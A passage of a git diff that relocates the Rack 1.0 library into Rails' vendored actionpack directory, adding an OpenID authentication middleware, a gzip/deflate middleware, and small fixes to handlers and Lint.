'text/plain', + 'Content-Length' => '0', + 'WWW-Authenticate' => www_authenticate.to_s }, + [] + ] end def bad_request - [ 400, {}, [] ] + return [ 400, + { 'Content-Type' => 'text/plain', + 'Content-Length' => '0' }, + [] + ] end end diff --git a/vendor/plugins/rack/lib/rack/auth/abstract/request.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/request.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/auth/abstract/request.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/request.rb diff --git a/vendor/plugins/rack/lib/rack/auth/basic.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/basic.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/auth/basic.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/basic.rb diff --git a/vendor/plugins/rack/lib/rack/auth/digest/md5.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/md5.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/auth/digest/md5.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/md5.rb diff --git a/vendor/plugins/rack/lib/rack/auth/digest/nonce.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/nonce.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/auth/digest/nonce.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/nonce.rb diff --git a/vendor/plugins/rack/lib/rack/auth/digest/params.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/params.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/auth/digest/params.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/params.rb diff --git a/vendor/plugins/rack/lib/rack/auth/digest/request.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/request.rb similarity index 90% rename from vendor/plugins/rack/lib/rack/auth/digest/request.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/request.rb index a0227543..a40f57b7 100644 --- a/vendor/plugins/rack/lib/rack/auth/digest/request.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/request.rb @@ -16,7 +16,7 @@ module Rack end def correct_uri? - @env['PATH_INFO'] == uri + (@env['SCRIPT_NAME'].to_s + @env['PATH_INFO'].to_s) == uri end def nonce diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/openid.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/openid.rb new file mode 100644 index 00000000..c5f6a514 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/openid.rb @@ -0,0 +1,480 @@ +# AUTHOR: blink ; blink#ruby-lang@irc.freenode.net + +gem 'ruby-openid', '~> 2' if defined? Gem +require 'rack/request' +require 'rack/utils' +require 'rack/auth/abstract/handler' +require 'uri' +require 'openid' #gem +require 'openid/extension' #gem +require 'openid/store/memory' #gem + +module Rack + class Request + def openid_request + @env['rack.auth.openid.request'] + end + + def openid_response + @env['rack.auth.openid.response'] + end + end + + module Auth + + # Rack::Auth::OpenID provides a simple method for setting up an OpenID + # Consumer. It requires the ruby-openid library from janrain to operate, + # as well as a rack method of session management. + # + # The ruby-openid home page is at http://openidenabled.com/ruby-openid/. + # + # The OpenID specifications can be found at + # http://openid.net/specs/openid-authentication-1_1.html + # and + # http://openid.net/specs/openid-authentication-2_0.html. Documentation + # for published OpenID extensions and related topics can be found at + # http://openid.net/developers/specs/. + # + # It is recommended to read through the OpenID spec, as well as + # ruby-openid's documentation, to understand what exactly goes on. However + # a setup as simple as the presented examples is enough to provide + # Consumer functionality. + # + # This library strongly intends to utilize the OpenID 2.0 features of the + # ruby-openid library, which provides OpenID 1.0 compatiblity. + # + # NOTE: Due to the amount of data that this library stores in the + # session, Rack::Session::Cookie may fault. + + class OpenID + + class NoSession < RuntimeError; end + class BadExtension < RuntimeError; end + # Required for ruby-openid + ValidStatus = [:success, :setup_needed, :cancel, :failure] + + # = Arguments + # + # The first argument is the realm, identifying the site they are trusting + # with their identity. This is required, also treated as the trust_root + # in OpenID 1.x exchanges. + # + # The optional second argument is a hash of options. + # + # == Options + # + # :return_to defines the url to return to after the client + # authenticates with the openid service provider. This url should point + # to where Rack::Auth::OpenID is mounted. If :return_to is not + # provided, return_to will be the current url which allows flexibility + # with caveats. + # + # :session_key defines the key to the session hash in the env. + # It defaults to 'rack.session'. + # + # :openid_param defines at what key in the request parameters to + # find the identifier to resolve. As per the 2.0 spec, the default is + # 'openid_identifier'. + # + # :store defined what OpenID Store to use for persistant + # information. By default a Store::Memory will be used. + # + # :immediate as true will make initial requests to be of an + # immediate type. This is false by default. See OpenID specification + # documentation. + # + # :extensions should be a hash of openid extension + # implementations. The key should be the extension main module, the value + # should be an array of arguments for extension::Request.new. + # The hash is iterated over and passed to #add_extension for processing. + # Please see #add_extension for further documentation. + # + # == Examples + # + # simple_oid = OpenID.new('http://mysite.com/') + # + # return_oid = OpenID.new('http://mysite.com/', { + # :return_to => 'http://mysite.com/openid' + # }) + # + # complex_oid = OpenID.new('http://mysite.com/', + # :immediate => true, + # :extensions => { + # ::OpenID::SReg => [['email'],['nickname']] + # } + # ) + # + # = Advanced + # + # Most of the functionality of this library is encapsulated such that + # expansion and overriding functions isn't difficult nor tricky. + # Alternately, to avoid opening up singleton objects or subclassing, a + # wrapper rack middleware can be composed to act upon Auth::OpenID's + # responses. See #check and #finish for locations of pertinent data. + # + # == Responses + # + # To change the responses that Auth::OpenID returns, override the methods + # #redirect, #bad_request, #unauthorized, #access_denied, and + # #foreign_server_failure. + # + # Additionally #confirm_post_params is used when the URI would exceed + # length limits on a GET request when doing the initial verification + # request. + # + # == Processing + # + # To change methods of processing completed transactions, override the + # methods #success, #setup_needed, #cancel, and #failure. Please ensure + # the returned object is a rack compatible response. + # + # The first argument is an OpenID::Response, the second is a + # Rack::Request of the current request, the last is the hash used in + # ruby-openid handling, which can be found manually at + # env['rack.session'][:openid]. + # + # This is useful if you wanted to expand the processing done, such as + # setting up user accounts. + # + # oid_app = Rack::Auth::OpenID.new realm, :return_to => return_to + # def oid_app.success oid, request, session + # user = Models::User[oid.identity_url] + # user ||= Models::User.create_from_openid oid + # request['rack.session'][:user] = user.id + # redirect MyApp.site_home + # end + # + # site_map['/openid'] = oid_app + # map = Rack::URLMap.new site_map + # ... + + def initialize(realm, options={}) + realm = URI(realm) + raise ArgumentError, "Invalid realm: #{realm}" \ + unless realm.absolute? \ + and realm.fragment.nil? \ + and realm.scheme =~ /^https?$/ \ + and realm.host =~ /^(\*\.)?#{URI::REGEXP::PATTERN::URIC_NO_SLASH}+/ + realm.path = '/' if realm.path.empty? + @realm = realm.to_s + + if ruri = options[:return_to] + ruri = URI(ruri) + raise ArgumentError, "Invalid return_to: #{ruri}" \ + unless ruri.absolute? \ + and ruri.scheme =~ /^https?$/ \ + and ruri.fragment.nil? + raise ArgumentError, "return_to #{ruri} not within realm #{realm}" \ + unless self.within_realm?(ruri) + @return_to = ruri.to_s + end + + @session_key = options[:session_key] || 'rack.session' + @openid_param = options[:openid_param] || 'openid_identifier' + @store = options[:store] || ::OpenID::Store::Memory.new + @immediate = !!options[:immediate] + + @extensions = {} + if extensions = options.delete(:extensions) + extensions.each do |ext, args| + add_extension ext, *args + end + end + + # Undocumented, semi-experimental + @anonymous = !!options[:anonymous] + end + + attr_reader :realm, :return_to, :session_key, :openid_param, :store, + :immediate, :extensions + + # Sets up and uses session data at :openid within the session. + # Errors in this setup will raise a NoSession exception. + # + # If the parameter 'openid.mode' is set, which implies a followup from + # the openid server, processing is passed to #finish and the result is + # returned. However, if there is no appropriate openid information in the + # session, a 400 error is returned. + # + # If the parameter specified by options[:openid_param] is + # present, processing is passed to #check and the result is returned. + # + # If neither of these conditions are met, #unauthorized is called. + + def call(env) + env['rack.auth.openid'] = self + env_session = env[@session_key] + unless env_session and env_session.is_a?(Hash) + raise NoSession, 'No compatible session' + end + # let us work in our own namespace... + session = (env_session[:openid] ||= {}) + unless session and session.is_a?(Hash) + raise NoSession, 'Incompatible openid session' + end + + request = Rack::Request.new(env) + consumer = ::OpenID::Consumer.new(session, @store) + + if mode = request.GET['openid.mode'] + if session.key?(:openid_param) + finish(consumer, session, request) + else + bad_request + end + elsif request.GET[@openid_param] + check(consumer, session, request) + else + unauthorized + end + end + + # As the first part of OpenID consumer action, #check retrieves the data + # required for completion. + # + # If all parameters fit within the max length of a URI, a 303 redirect + # will be returned. Otherwise #confirm_post_params will be called. + # + # Any messages from OpenID's request are logged to env['rack.errors'] + # + # env['rack.auth.openid.request'] is the openid checkid request + # instance. + # + # session[:openid_param] is set to the openid identifier + # provided by the user. + # + # session[:return_to] is set to the return_to uri given to the + # identity provider. + + def check(consumer, session, req) + oid = consumer.begin(req.GET[@openid_param], @anonymous) + req.env['rack.auth.openid.request'] = oid + req.env['rack.errors'].puts(oid.message) + p oid if $DEBUG + + ## Extension support + extensions.each do |ext,args| + oid.add_extension(ext::Request.new(*args)) + end + + session[:openid_param] = req.GET[openid_param] + return_to_uri = return_to ? return_to : req.url + session[:return_to] = return_to_uri + immediate = session.key?(:setup_needed) ? false : immediate + + if oid.send_redirect?(realm, return_to_uri, immediate) + uri = oid.redirect_url(realm, return_to_uri, immediate) + redirect(uri) + else + confirm_post_params(oid, realm, return_to_uri, immediate) + end + rescue ::OpenID::DiscoveryFailure => e + # thrown from inside OpenID::Consumer#begin by yadis stuff + req.env['rack.errors'].puts([e.message, *e.backtrace]*"\n") + return foreign_server_failure + end + + # This is the final portion of authentication. + # If successful, a redirect to the realm is be returned. + # Data gathered from extensions are stored in session[:openid] with the + # extension's namespace uri as the key. + # + # Any messages from OpenID's response are logged to env['rack.errors'] + # + # env['rack.auth.openid.response'] will contain the openid + # response. + + def finish(consumer, session, req) + oid = consumer.complete(req.GET, req.url) + req.env['rack.auth.openid.response'] = oid + req.env['rack.errors'].puts(oid.message) + p oid if $DEBUG + + raise unless ValidStatus.include?(oid.status) + __send__(oid.status, oid, req, session) + end + + # The first argument should be the main extension module. + # The extension module should contain the constants: + # * class Request, should have OpenID::Extension as an ancestor + # * class Response, should have OpenID::Extension as an ancestor + # * string NS_URI, which defining the namespace of the extension + # + # All trailing arguments will be passed to extension::Request.new in + # #check. + # The openid response will be passed to + # extension::Response#from_success_response, #get_extension_args will be + # called on the result to attain the gathered data. + # + # This method returns the key at which the response data will be found in + # the session, which is the namespace uri by default. + + def add_extension(ext, *args) + raise BadExtension unless valid_extension?(ext) + extensions[ext] = args + return ext::NS_URI + end + + # Checks the validitity, in the context of usage, of a submitted + # extension. + + def valid_extension?(ext) + if not %w[NS_URI Request Response].all?{|c| ext.const_defined?(c) } + raise ArgumentError, 'Extension is missing constants.' + elsif not ext::Response.respond_to?(:from_success_response) + raise ArgumentError, 'Response is missing required method.' + end + return true + rescue + return false + end + + # Checks the provided uri to ensure it'd be considered within the realm. + # is currently not compatible with wildcard realms. + + def within_realm? uri + uri = URI.parse(uri.to_s) + realm = URI.parse(self.realm) + return false unless uri.absolute? + return false unless uri.path[0, realm.path.size] == realm.path + return false unless uri.host == realm.host or realm.host[/^\*\./] + # for wildcard support, is awkward with URI limitations + realm_match = Regexp.escape(realm.host). + sub(/^\*\./,"^#{URI::REGEXP::PATTERN::URIC_NO_SLASH}+.")+'$' + return false unless uri.host.match(realm_match) + return true + end + alias_method :include?, :within_realm? + + protected + + ### These methods define some of the boilerplate responses. + + # Returns an html form page for posting to an Identity Provider if the + # GET request would exceed the upper URI length limit. + + def confirm_post_params(oid, realm, return_to, immediate) + Rack::Response.new.finish do |r| + r.write 'Confirm...' + r.write oid.form_markup(realm, return_to, immediate) + r.write '' + end + end + + # Returns a 303 redirect with the destination of that provided by the + # argument. + + def redirect(uri) + [ 303, {'Content-Length'=>'0', 'Content-Type'=>'text/plain', + 'Location' => uri}, + [] ] + end + + # Returns an empty 400 response. + + def bad_request + [ 400, {'Content-Type'=>'text/plain', 'Content-Length'=>'0'}, + [''] ] + end + + # Returns a basic unauthorized 401 response. + + def unauthorized + [ 401, {'Content-Type' => 'text/plain', 'Content-Length' => '13'}, + ['Unauthorized.'] ] + end + + # Returns a basic access denied 403 response. + + def access_denied + [ 403, {'Content-Type' => 'text/plain', 'Content-Length' => '14'}, + ['Access denied.'] ] + end + + # Returns a 503 response to be used if communication with the remote + # OpenID server fails. + + def foreign_server_failure + [ 503, {'Content-Type'=>'text/plain', 'Content-Length' => '23'}, + ['Foreign server failure.'] ] + end + + private + + ### These methods are called after a transaction is completed, depending + # on its outcome. These should all return a rack compatible response. + # You'd want to override these to provide additional functionality. + + # Called to complete processing on a successful transaction. + # Within the openid session, :openid_identity and :openid_identifier are + # set to the user friendly and the standard representation of the + # validated identity. All other data in the openid session is cleared. + + def success(oid, request, session) + session.clear + session[:openid_identity] = oid.display_identifier + session[:openid_identifier] = oid.identity_url + extensions.keys.each do |ext| + label = ext.name[/[^:]+$/].downcase + response = ext::Response.from_success_response(oid) + session[label] = response.data + end + redirect(realm) + end + + # Called if the Identity Provider indicates further setup by the user is + # required. + # The identifier is retrived from the openid session at :openid_param. + # And :setup_needed is set to true to prevent looping. + + def setup_needed(oid, request, session) + identifier = session[:openid_param] + session[:setup_needed] = true + redirect req.script_name + '?' + openid_param + '=' + identifier + end + + # Called if the user indicates they wish to cancel identification. + # Data within openid session is cleared. + + def cancel(oid, request, session) + session.clear + access_denied + end + + # Called if the Identity Provider indicates the user is unable to confirm + # their identity. Data within the openid session is left alone, in case + # of swarm auth attacks. + + def failure(oid, request, session) + unauthorized + end + end + + # A class developed out of the request to use OpenID as an authentication + # middleware. The request will be sent to the OpenID instance unless the + # block evaluates to true. For example in rackup, you can use it as such: + # + # use Rack::Session::Pool + # use Rack::Auth::OpenIDAuth, realm, openid_options do |env| + # env['rack.session'][:authkey] == a_string + # end + # run RackApp + # + # Or simply: + # + # app = Rack::Auth::OpenIDAuth.new app, realm, openid_options, &auth + + class OpenIDAuth < Rack::Auth::AbstractHandler + attr_reader :oid + def initialize(app, realm, options={}, &auth) + @oid = OpenID.new(realm, options) + super(app, &auth) + end + + def call(env) + to = auth.call(env) ? @app : @oid + to.call env + end + end + end +end diff --git a/vendor/plugins/rack/lib/rack/builder.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/builder.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/builder.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/builder.rb diff --git a/vendor/plugins/rack/lib/rack/cascade.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/cascade.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/cascade.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/cascade.rb diff --git a/vendor/plugins/rack/lib/rack/commonlogger.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/commonlogger.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/commonlogger.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/commonlogger.rb diff --git a/vendor/plugins/rack/lib/rack/conditionalget.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/conditionalget.rb similarity index 98% rename from vendor/plugins/rack/lib/rack/conditionalget.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/conditionalget.rb index e7eb5860..7bec8241 100644 --- a/vendor/plugins/rack/lib/rack/conditionalget.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/conditionalget.rb @@ -1,3 +1,5 @@ +require 'rack/utils' + module Rack # Middleware that enables conditional GET using If-None-Match and diff --git a/vendor/plugins/rack/lib/rack/content_length.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/content_length.rb similarity index 97% rename from vendor/plugins/rack/lib/rack/content_length.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/content_length.rb index 515a654a..bce22a32 100644 --- a/vendor/plugins/rack/lib/rack/content_length.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/content_length.rb @@ -1,3 +1,5 @@ +require 'rack/utils' + module Rack # Sets the Content-Length header on responses with fixed-length bodies. class ContentLength diff --git a/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/deflater.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/deflater.rb new file mode 100644 index 00000000..3e666800 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/deflater.rb @@ -0,0 +1,85 @@ +require "zlib" +require "stringio" +require "time" # for Time.httpdate +require 'rack/utils' + +module Rack + class Deflater + def initialize(app) + @app = app + end + + def call(env) + status, headers, body = @app.call(env) + headers = Utils::HeaderHash.new(headers) + + # Skip compressing empty entity body responses and responses with + # no-transform set. + if Utils::STATUS_WITH_NO_ENTITY_BODY.include?(status) || + headers['Cache-Control'].to_s =~ /\bno-transform\b/ + return [status, headers, body] + end + + request = Request.new(env) + + encoding = Utils.select_best_encoding(%w(gzip deflate identity), + request.accept_encoding) + + # Set the Vary HTTP header. + vary = headers["Vary"].to_s.split(",").map { |v| v.strip } + unless vary.include?("*") || vary.include?("Accept-Encoding") + headers["Vary"] = vary.push("Accept-Encoding").join(",") + end + + case encoding + when "gzip" + mtime = headers.key?("Last-Modified") ? + Time.httpdate(headers["Last-Modified"]) : Time.now + body = self.class.gzip(body, mtime) + size = body.respond_to?(:bytesize) ? body.bytesize : body.size + headers = headers.merge("Content-Encoding" => "gzip", "Content-Length" => size.to_s) + [status, headers, [body]] + when "deflate" + body = self.class.deflate(body) + size = body.respond_to?(:bytesize) ? body.bytesize : body.size + headers = headers.merge("Content-Encoding" => "deflate", "Content-Length" => size.to_s) + [status, headers, [body]] + when "identity" + [status, headers, body] + when nil + message = "An acceptable encoding for the requested resource #{request.fullpath} could not be found." + [406, {"Content-Type" => "text/plain", "Content-Length" => message.length.to_s}, [message]] + end + end + + def self.gzip(body, mtime) + io = StringIO.new + gzip = Zlib::GzipWriter.new(io) + gzip.mtime = mtime + + # TODO: Add streaming + body.each { |part| gzip << part } + + gzip.close + return io.string + end + + DEFLATE_ARGS = [ + Zlib::DEFAULT_COMPRESSION, + # drop the zlib header which causes both Safari and IE to choke + -Zlib::MAX_WBITS, + Zlib::DEF_MEM_LEVEL, + Zlib::DEFAULT_STRATEGY + ] + + # Loosely based on Mongrel's Deflate handler + def self.deflate(body) + deflater = Zlib::Deflate.new(*DEFLATE_ARGS) + + # TODO: Add streaming + body.each { |part| deflater << part } + + return deflater.finish + end + end +end diff --git a/vendor/plugins/rack/lib/rack/directory.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/directory.rb similarity index 99% rename from vendor/plugins/rack/lib/rack/directory.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/directory.rb index 570edd48..56ee5e7b 100644 --- a/vendor/plugins/rack/lib/rack/directory.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/directory.rb @@ -1,4 +1,5 @@ require 'time' +require 'rack/utils' require 'rack/mime' module Rack diff --git a/vendor/plugins/rack/lib/rack/file.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb similarity index 97% rename from vendor/plugins/rack/lib/rack/file.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb index 4bc6198d..7869227a 100644 --- a/vendor/plugins/rack/lib/rack/file.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/file.rb @@ -1,4 +1,5 @@ require 'time' +require 'rack/utils' require 'rack/mime' module Rack @@ -12,6 +13,8 @@ module Rack attr_accessor :root attr_accessor :path + alias :to_path :path + def initialize(root) @root = root end diff --git a/vendor/plugins/rack/lib/rack/handler.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/handler.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler.rb diff --git a/vendor/plugins/rack/lib/rack/handler/cgi.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb similarity index 91% rename from vendor/plugins/rack/lib/rack/handler/cgi.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb index 1922402c..f2c976cf 100644 --- a/vendor/plugins/rack/lib/rack/handler/cgi.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/cgi.rb @@ -12,8 +12,8 @@ module Rack env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/" env.update({"rack.version" => [0,1], - "rack.input" => STDIN, - "rack.errors" => STDERR, + "rack.input" => $stdin, + "rack.errors" => $stderr, "rack.multithread" => false, "rack.multiprocess" => true, @@ -38,7 +38,7 @@ module Rack def self.send_headers(status, headers) STDOUT.print "Status: #{status}\r\n" headers.each { |k, vs| - vs.each { |v| + vs.split("\n").each { |v| STDOUT.print "#{k}: #{v}\r\n" } } diff --git a/vendor/plugins/rack/lib/rack/handler/evented_mongrel.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/evented_mongrel.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/handler/evented_mongrel.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/evented_mongrel.rb diff --git a/vendor/plugins/rack/lib/rack/handler/fastcgi.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb similarity index 98% rename from vendor/plugins/rack/lib/rack/handler/fastcgi.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb index 75b94e99..f03e1615 100644 --- a/vendor/plugins/rack/lib/rack/handler/fastcgi.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/fastcgi.rb @@ -67,7 +67,7 @@ module Rack def self.send_headers(out, status, headers) out.print "Status: #{status}\r\n" headers.each { |k, vs| - vs.each { |v| + vs.split("\n").each { |v| out.print "#{k}: #{v}\r\n" } } diff --git a/vendor/plugins/rack/lib/rack/handler/lsws.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb similarity index 91% rename from vendor/plugins/rack/lib/rack/handler/lsws.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb index 48b82b58..1f850fc7 100644 --- a/vendor/plugins/rack/lib/rack/handler/lsws.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/lsws.rb @@ -13,8 +13,8 @@ module Rack env.delete "HTTP_CONTENT_LENGTH" env["SCRIPT_NAME"] = "" if env["SCRIPT_NAME"] == "/" env.update({"rack.version" => [0,1], - "rack.input" => STDIN, - "rack.errors" => STDERR, + "rack.input" => $stdin, + "rack.errors" => $stderr, "rack.multithread" => false, "rack.multiprocess" => true, "rack.run_once" => false, @@ -34,7 +34,7 @@ module Rack def self.send_headers(status, headers) print "Status: #{status}\r\n" headers.each { |k, vs| - vs.each { |v| + vs.split("\n").each { |v| print "#{k}: #{v}\r\n" } } diff --git a/vendor/plugins/rack/lib/rack/handler/mongrel.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb similarity index 96% rename from vendor/plugins/rack/lib/rack/handler/mongrel.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb index 5673598b..178a1a8f 100644 --- a/vendor/plugins/rack/lib/rack/handler/mongrel.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/mongrel.rb @@ -45,7 +45,7 @@ module Rack env.update({"rack.version" => [0,1], "rack.input" => request.body || StringIO.new(""), - "rack.errors" => STDERR, + "rack.errors" => $stderr, "rack.multithread" => true, "rack.multiprocess" => false, # ??? @@ -63,7 +63,7 @@ module Rack response.send_status(nil) headers.each { |k, vs| - vs.each { |v| + vs.split("\n").each { |v| response.header[k] = v } } diff --git a/vendor/plugins/rack/lib/rack/handler/scgi.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb similarity index 93% rename from vendor/plugins/rack/lib/rack/handler/scgi.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb index 0e143395..fd18a835 100644 --- a/vendor/plugins/rack/lib/rack/handler/scgi.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/scgi.rb @@ -32,7 +32,7 @@ module Rack env["SCRIPT_NAME"] = "" env.update({"rack.version" => [0,1], "rack.input" => StringIO.new(input_body), - "rack.errors" => STDERR, + "rack.errors" => $stderr, "rack.multithread" => true, "rack.multiprocess" => true, @@ -44,7 +44,7 @@ module Rack begin socket.write("Status: #{status}\r\n") headers.each do |k, vs| - vs.each {|v| socket.write("#{k}: #{v}\r\n")} + vs.split("\n").each { |v| socket.write("#{k}: #{v}\r\n")} end socket.write("\r\n") body.each {|s| socket.write(s)} diff --git a/vendor/plugins/rack/lib/rack/handler/swiftiplied_mongrel.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/swiftiplied_mongrel.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/handler/swiftiplied_mongrel.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/swiftiplied_mongrel.rb diff --git a/vendor/plugins/rack/lib/rack/handler/thin.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/handler/thin.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/thin.rb diff --git a/vendor/plugins/rack/lib/rack/handler/webrick.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb similarity index 90% rename from vendor/plugins/rack/lib/rack/handler/webrick.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb index 2c4e8bc5..40be79de 100644 --- a/vendor/plugins/rack/lib/rack/handler/webrick.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/handler/webrick.rb @@ -8,7 +8,6 @@ module Rack server = ::WEBrick::HTTPServer.new(options) server.mount "/", Rack::Handler::WEBrick, app trap(:INT) { server.shutdown } - trap('TERM') { server.shutdown } yield server if block_given? server.start end @@ -24,7 +23,7 @@ module Rack env.update({"rack.version" => [0,1], "rack.input" => StringIO.new(req.body.to_s), - "rack.errors" => STDERR, + "rack.errors" => $stderr, "rack.multithread" => true, "rack.multiprocess" => false, @@ -43,9 +42,9 @@ module Rack res.status = status.to_i headers.each { |k, vs| if k.downcase == "set-cookie" - res.cookies.concat vs.to_a + res.cookies.concat vs.split("\n") else - vs.each { |v| + vs.split("\n").each { |v| res[k] = v } end diff --git a/vendor/plugins/rack/lib/rack/head.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/head.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/head.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/head.rb diff --git a/vendor/plugins/rack/lib/rack/lint.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb similarity index 95% rename from vendor/plugins/rack/lib/rack/lint.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb index e7f805f1..7eb05437 100644 --- a/vendor/plugins/rack/lib/rack/lint.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/lint.rb @@ -1,3 +1,5 @@ +require 'rack/utils' + module Rack # Rack::Lint validates your application and the requests and # responses according to the Rack spec. @@ -336,16 +338,13 @@ module Rack ## but only contain keys that consist of ## letters, digits, _ or - and start with a letter. assert("invalid header name: #{key}") { key =~ /\A[a-zA-Z][a-zA-Z0-9_-]*\z/ } - ## - ## The values of the header must respond to #each. - assert("header values must respond to #each, but the value of " + - "'#{key}' doesn't (is #{value.class})") { value.respond_to? :each } - value.each { |item| - ## The values passed on #each must be Strings - assert("header values must consist of Strings, but '#{key}' also contains a #{item.class}") { - item.instance_of?(String) - } - ## and not contain characters below 037. + + ## The values of the header must be Strings, + assert("a header value must be a String, but the value of " + + "'#{key}' is a #{value.class}") { value.kind_of? String } + ## consisting of lines (for multiple header values) seperated by "\n". + value.split("\n").each { |item| + ## The lines must not contain characters below 037. assert("invalid header value #{key}: #{item.inspect}") { item !~ /[\000-\037]/ } @@ -443,6 +442,18 @@ module Rack ## If the Body responds to #close, it will be called after iteration. # XXX howto: assert("Body has not been closed") { @closed } + + ## + ## If the Body responds to #to_path, it must return a String + ## identifying the location of a file whose contents are identical + ## to that produced by calling #each. + + if @body.respond_to?(:to_path) + assert("The file identified by body.to_path does not exist") { + ::File.exist? @body.to_path + } + end + ## ## The Body commonly is an Array of Strings, the application ## instance itself, or a File-like object. diff --git a/vendor/plugins/rack/lib/rack/lobster.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/lobster.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/lobster.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/lobster.rb diff --git 